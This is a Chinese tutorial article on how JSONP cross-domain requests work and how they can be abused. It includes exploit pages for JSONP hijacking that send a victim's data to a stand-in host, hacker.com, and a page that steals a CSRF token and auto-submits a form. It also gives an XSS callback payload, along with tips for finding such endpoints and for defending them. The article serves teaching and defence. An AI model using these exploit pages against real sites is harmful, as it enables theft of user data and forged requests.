jsonp的简单介绍以及其安全风险

 更新时间:2022年01月23日 10:42:41   作者:剑胆琴心  
JSONP原理就是动态插入带有跨域url的script标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上,这篇文章主要给大家介绍了关于jsonp的简单介绍以及其安全风险的相关资料,需要的朋友可以参考下

JSONP介绍

说起跨域请求资源的方法,最常见的方法是JSONP/CORS。下面以具体的例子介绍一下JSONP的工作原理。

JSONP全称是JSON with Padding ,是基于JSON格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了HTML里script元素标签没有跨域限制

JSONP原理就是动态插入带有跨域url的script标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

比如通过script访问http://www.test.com/index.html?jsonpcallback=callback, 执行完script后,会调用callback函数,参数就是获取到的数据。

原理很简单,在本地复现一下,首先新建callback.php:

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    //输出jsonp格式的数据
    echo $callback . "(" . $json_data . ")";
?>

然后新建test.html:

<!-- test.html -->

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

我们访问test.html,页面会执行script,请求http://localhost/callback.php?callback=hehehe,然后将请求的内容作为参数,执行hehehe函数,hehehe函数将请求的内容alert出来。最终的结果如下

这样我们就实现了通过js操作跨域请求到的资源,绕过了同源策略。

但是伴随着业务的发展总会出现安全问题,JSONP使用不当也会造成很多安全问题。

JSONP劫持

对于JSONP传输数据,正常的业务是用户在B域名下请求A域名下的数据,然后进行进一步操作。

但是对A域名的请求一般都需要身份验证,hacker怎么去获取到这些信息呢,我们可以自己构造一个页面,然后诱惑用户去点击,在这个页面里,我们去请求A域名资源,然后回调函数将请求到的资源发回到hacker服务器上。

没错JSONP劫持类似于CSRF漏洞,步骤大概如下图(来自参考文章1)所示:

利用代码如下所示:

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    var myForm = document.createElement("form");
    myForm.action="http://hacker.com/redirect.php";
    myForm.method = "GET";  
    for ( var k in obj) {  
        var myInput = document.createElement("input");  
        myInput.setAttribute("name", k);  
        myInput.setAttribute("value", obj[k]);  
        myForm.appendChild(myInput);  
    }  
    document.body.appendChild(myForm);  
    myForm.submit();  
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

诱惑用户访问此html,会以用户的身份访问http://localhost/callback.php?callback=hehehe,拿到敏感数据,然后执行hehehe函数,将数据发送给http://hacker.com/redirect.php。抓包可以拦截到如下请求包:

GET /redirect.php?customername1=user1&password=12345678 HTTP/1.1
Host: hacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.133.136.120/test.html
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

hacker只需要在redirect.php里,将数据保存下来,然后重定向到baidu.com,堪称一次完美的JSONP劫持。

利用JSONP绕过token防护进行csrf攻击

具体的实例可以看看参考文章2,3。

通过上面例子,我们知道JSONP可以获取敏感的数据,在某些情况下,还可以利用JSONP劫持绕过token限制完成csrf攻击。

假设有个场景是这样:服务端判断接收到的请求包,如果含有callback参数就返回JSONP格式的数据,否则返回正常页面。代码如下:test.php

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    if(isset($_GET["callback"])){
        $callback = $_GET["callback"];
        //如果含有callback参数,输出jsonp格式的数据
        echo $callback . "(" . $json_data . ")";
    }else{
        echo $json_data;
    }
?>

对于场景,如果存在JSONP劫持劫持,我们就可以获取到页面中的内容,提取出csrf_token,然后提交表单,造成csrf漏洞。示例利用代码如下(来自参考文章2):

<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
    // 获取对象中的属性值
    var content = obj['html']
    // 正则匹配出参数值
    var token=content.match('token = "(.*?)"')[1];
    // 添加表单节点
    var parent=document.getElementById("test");
    var child=document.createElement("form");
    child.method="POST";
    child.action="http://vuln.com/del.html";
    child.id="test1"
    parent.appendChild(child);
    var parent_1=document.getElementById("test1");
    var child_1=document.createElement("input");
    child_1.type="hidden";child_1.name="token";child_1.value=token;
    var child_2=document.createElement("input");
    child_2.type="submit";
    parent_1.appendChild(child_1);
    parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>

htmlcallback返回一个对象obj,以该对象作为参数传入test函数,操作对象中属性名为html的值,正则匹配出token,再加入表单,自动提交表单完成操作,用户点击该攻击页面即收到csrf攻击。

JSONP劫持挖掘与防御

对于漏洞挖掘,我们首先需要尽可能的找到所有的接口,尤其是返回数据格式是JSONP的接口。(可以在数据包中检索关键词callback json jsonp email等,也可以加上callback参数,观察返回值是否变化)。

找到接口之后,还需要返回值包含敏感信息,并且能被不同的域的页面去请求获取(也就是是否存在refer限制,实际上,如果接口存在refer的限制,也是有可能被绕过的,计划以后的文章中再说)

对于JSONP劫持的防御,其实类似于csrf的防御。以下来源于参考文章4:

  • 限制来源refer
  • 按照JSON格式标准输出(设置Content-Type : application/json; charset=utf-8),预防http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>形式的xss
  • 过滤callback函数名以及JSON数据输出,预防xss

参考

总结

到此这篇关于jsonp简单介绍以及其安全风险的文章就介绍到这了,更多相关jsonp安全风险内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • JavaScript查看数据返回值的方法

    JavaScript查看数据返回值的方法

    console.log()、alert() 都是JavaScript中用于在开发过程中输出信息或向用户显示消息的不同方法,它们的主要区别在于目的、使用场景以及展示方式,本文将给大家介绍JavaScript 中怎么看数据返回值,需要的朋友可以参考下
    2024-07-07
  • Javascript实现颜色rgb与16进制转换的方法

    Javascript实现颜色rgb与16进制转换的方法

    这篇文章主要介绍了Javascript实现颜色rgb与16进制转换的方法,实例分析了颜色值转换的常用技巧与使用方法,非常具有实用价值,需要的朋友可以参考下
    2015-04-04
  • 微信小程序+腾讯地图开发实现路径规划绘制

    微信小程序+腾讯地图开发实现路径规划绘制

    这篇文章主要介绍了微信小程序+腾讯地图开发实现路径规划绘制,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-05-05
  • javascript中使用正则计算中文长度的例子

    javascript中使用正则计算中文长度的例子

    这篇文章主要介绍了javascript中使用正则计算中文长度的例子,需要的朋友可以参考下
    2014-04-04
  • 微信小程序之GET请求的实例详解

    微信小程序之GET请求的实例详解

    这篇文章主要介绍了微信小程序之GET请求的实例详解的相关资料,希望通过本文能帮助到大家,让大家理解掌握该如何使用get请求,需要的朋友可以参考下
    2017-09-09
  • Bootstrap中的Dropdown下拉菜单更改为悬停(hover)触发

    Bootstrap中的Dropdown下拉菜单更改为悬停(hover)触发

    在使用bootstrap制作响应式导航条时,dropdown组件用的比较多,dropdown默认鼠标左键单击才展开,如果使用鼠标放上去(hover)就展开则会省去点击时间,这样能提高效率,下面小编给大家解答下实现思路
    2016-08-08
  • JS大坑之19位数的Number型精度丢失问题详解

    JS大坑之19位数的Number型精度丢失问题详解

    这篇文章主要介绍了JS大坑之19位数的Number型精度丢失问题,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-04-04
  • JavaScript及jquey实现多个数组的合并操作

    JavaScript及jquey实现多个数组的合并操作

    这篇文章主要介绍了JavaScript及jquey实现多个数组的合并操作,在某些情况下还是比较实用的,需要的朋友可以参考下
    2014-09-09
  • javascript中获取class的简单实现

    javascript中获取class的简单实现

    下面小编就为大家带来一篇javascript中获取class的简单实现。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-07-07
  • TypeScript mixin提升代码复用性的方法和原理

    TypeScript mixin提升代码复用性的方法和原理

    在前端开发中,我们经常需要在不同的组件或类之间共享功能代码,Mixin提供了一种非常灵活的方式,可以让我们在不破坏继承关系的前提下,将功能代码复用到多个对象中,文章通过代码示例介绍mixin提升代码复用性的方法和好处,需要的朋友可以参考下
    2023-06-06

最新评论